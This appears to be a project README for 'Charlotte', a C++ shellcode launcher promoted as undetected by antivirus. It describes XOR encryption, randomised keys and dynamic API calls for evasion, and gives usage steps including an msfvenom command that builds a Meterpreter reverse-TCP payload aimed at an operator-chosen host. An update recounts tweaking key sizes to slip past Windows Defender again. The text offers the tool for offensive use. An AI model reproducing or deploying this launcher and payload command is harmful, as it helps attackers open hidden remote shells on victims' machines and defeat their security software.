Charlotte is an c++ fully undetected shellcode launcher .
Description
- 13/05/2021:
- c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021.
- dynamic invoking of win32 api functions
- XOR encryption of shellcode and function names
- randomised XOR keys and variables per run
- on Kali Linux, simply ‘apt-get install mingw-w64*’ and thats it!
- 17/05/2021:
- random strings length and XOR keys length
Antiscan.me
Usage
git clone the repository, generate your shellcode file with the naming beacon.bin, and run charlotte.py
Example:
git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
cd charlotte
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
python charlotte.py
profit
tested with msfvenom -p (shown in the .gif POC below) and also cobalt strike raw format payload
Update v1.1
17/05/21:
Apparently Microsoft Windows Defender was able to detect the .DLL binary, and how did they flag it? by looking for several XOR keys of 16 byte size changing it to 9 shown in the POC .gif below shows it is now undetected again cheers.
